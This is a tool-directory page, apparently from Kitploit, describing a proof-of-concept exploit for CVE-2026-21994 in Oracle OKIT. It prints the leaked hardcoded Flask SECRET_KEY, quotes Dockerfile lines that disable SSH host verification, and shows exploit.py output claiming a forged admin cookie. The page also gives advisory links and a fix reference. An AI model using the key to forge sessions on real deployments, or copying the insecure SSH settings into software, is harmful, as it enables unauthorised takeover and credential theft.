Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21994 — Proof-of-concept exploit for CVE-2026-21994, demonstrating unauthenticated admin session forgery via a hardcoded Flask SECRET_KEY and SSH host verification bypass in Oracle OKIT. | Kitploit
Tools/GitHubGitHub/g0w6y/cve-2026-21994
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityAuthenticationMisconfiguration
GitHubg0w6y/cve-2026-21994

CVE-2026-21994

Proof-of-concept exploit for CVE-2026-21994, demonstrating unauthenticated admin session forgery via a hardcoded Flask SECRET_KEY and SSH host verification bypass in Oracle OKIT.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21994

Summary

Oracle OKIT (oci-designer-toolkit) version 0.3.0 contains two critical misconfigurations that chain into an unauthenticated full takeover. A hardcoded Flask SECRET_KEY exposed in the public repository allows any attacker to forge a valid admin session cookie — no credentials required. Separately, the Docker image disables SSH host verification entirely, enabling a network attacker to intercept OCI API keys and private keys during infrastructure deployments.

Vulnerability

1. Hardcoded SECRET_KEY — okitclassic/okitserver/config.py:4

root@kitploit:~
SECRET_KEY='8980ffsd675747jjjh'

Flask uses this key to sign session cookies. Since it is hardcoded in a public repo, an attacker can forge a valid admin cookie and access the OKIT dashboard with zero credentials.


2. SSH Host Verification Disabled — Dockerfile:41

root@kitploit:~
&& echo '  StrictHostKeyChecking no' >> /etc/ssh/ssh_config \
&& echo '  UserKnownHostsFile=/dev/null' >> /etc/ssh/ssh_config \

The container never checks SSH host fingerprints. A network attacker can MitM deployments and steal OCI credentials.

PoC

Run exploit.py inside the cloned repo directory:

root@kitploit:~
python3 exploit.py
root@kitploit:~
[*] Scanning okitclassic/okitserver/config.py ...
[!] VULNERABLE — Hardcoded SECRET_KEY found: 8980ffsd675747jjjh
[+] Authentication bypass possible with zero credentials.

[*] Scanning Dockerfile ...
[!] VULNERABLE — SSH host verification is DISABLED.
[+] Network attacker can MitM deployments and steal OCI credentials.

[*] Forging admin session cookie ...
[!] SUCCESS — Forged cookie: .eJwlzj0OgkAQBeC7bG1...

Advisories

CVE IDCVE-2026-21994
GitHub AdvisoryGHSA-g6qw-3gmw-m78m
CWECWE-284 — Improper Access Control
Oracle Advisory Mappingoracle.com/security-alerts/public-vuln-to-advisory-mapping
Oracle CVE Referenceoracle.com/security-alerts/all-oracle-cves
Fixoracle/oci-designer-toolkit#780

Credit

Discovered and reported by Gouri Sankar A — g0w6y

Download Tool